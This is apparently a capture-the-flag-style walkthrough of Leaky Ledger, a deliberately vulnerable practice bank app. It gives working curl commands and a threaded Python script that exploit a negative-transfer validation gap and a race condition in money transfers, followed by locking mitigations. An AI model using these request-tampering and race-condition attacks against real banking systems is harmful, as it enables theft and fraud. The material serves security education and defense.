This is a guide to hacking the Leaky Ledger 1.0 bank, so if you haven't given it a try yourself, be aware that this guide contains spoilers!
If you haven't been introduced to Leaky Ledger, it's a fake bank built with Django that is purposefully riddled with security flaws as an educational exercise. The idea is to explore the bank and find the flaws.
One important disclaimer: You will not find any XSS flaws in the bank or anything else that would cause JavaScript to be executed on someone else's computer. I'd also appreciate it if folks contained hacking attempts to the bank app, and not do something silly like DDoS the website. That just makes it unavailable for everyone.
So without further ado, here are the security flaws in version 1.0 of Leaky Ledger.
User Data Leak
The bank contains a money sending feature with a helpful autocomplete widget.
A glance at the developer tools reveals that the API endpoint that powers autocomplete is returning more information than it should. Instead of just email addresses, it's also returning usernames.
Unfortunately for these fake users, Leaky Ledger doesn't have any password complexity requirements. There are over 100 fake users and all of their passwords are taken from a list of the top 20 most commonly used passwords. I also had to throw hunter2 into the mix for good measure.
Negative Transfer
This next vulnerability is a case of form validation happening only on the front-end.
The email money sending feature is meant for sending money, but it turns out, we can send a negative amount. You can try this within the bank app, but you'll see that the form doesn't allow this.
But what if we submit the form outside of the application? We can grab the sessionid cookie and make a transfer request without going through the user interface.
curl -v -X POST --cookie "sessionid=732nts9732qg2y1cs26ox86nlb7l5iv3" -H "Content-Type: application/json" -d '{"sourceAccount": "Checking", "destinationEmail": "CSanchez18@juno.com", "transferAmount": "-1000"}' https://ingenious-darwin.circumeo.dev/transfer/external
Because the API doesn't perform the same validation, the negative transfer ends up taking money from the recipient instead of sending money to them.
Infinite Money Glitch
Yes, it is possible to attain infinite riches!
This flaw depends upon a race condition in the money transfer logic. Like any sensible bank application, Leaky Ledger performs an account balance check prior to any transfer. The transfer takes about 500ms, and that is a window of opportunity. If we can start a second transfer before the first is completed, then both transfers will use the same balance as their starting point.
You could write a script to exploit this, or use a program like curl to fire off multiple requests. Since the 500ms window is really pretty large, it's possible to exploit this one by hand. In my case I crafted a curl command and used two terminal windows to fire off the same request almost simultaneously.
curl -v -X POST --cookie "sessionid=732nts9732qg2y1cs26ox86nlb7l5iv3" -H "Content-Type: application/json" -d '{"sourceAccount": "Checking", "destinationEmail": "CSanchez18@juno.com", "transferAmount": "-1000"}' https://ingenious-darwin.circumeo.dev/transfer/external
You can of course scale up this attack. Instead of overdrawing the target account by $1000, here I use a Python script to go much further, launching 10 simultaneous transfer requests.
import requests
import threading
url = "https://ingenious-darwin.circumeo.dev/transfer/external"
cookies = {"sessionid": "732nts9732qg2y1cs26ox86nlb7l5iv3"}
headers = {"Content-Type": "application/json"}
data = {
"sourceAccount": "Checking",
"destinationEmail": "CSanchez18@juno.com",
"transferAmount": "-1000"
}
def make_request():
response = requests.post(url, headers=headers, cookies=cookies, json=data)
threads = []
for _ in range(10):
thread = threading.Thread(target=make_request)
thread.start()
threads.append(thread)
for thread in threads:
thread.join()
Believe it or not, this has actually been exploited in the real world. The Flexcoin exchange went bankrupt in 2014 after a race condition allowed an attacker to overdraw accounts.
How can we prevent this type of exploit?
A locking mechanism would help here. We could use Redis, for example, to acquire a lock before the transfer begins. Only one transfer per account could be active at a time. Some databases also support solutions to this problem. PostgreSQL, for instance, supports the FOR UPDATE clause that allows row locking.
No matter the solution, it always pays to keep concurrency in mind.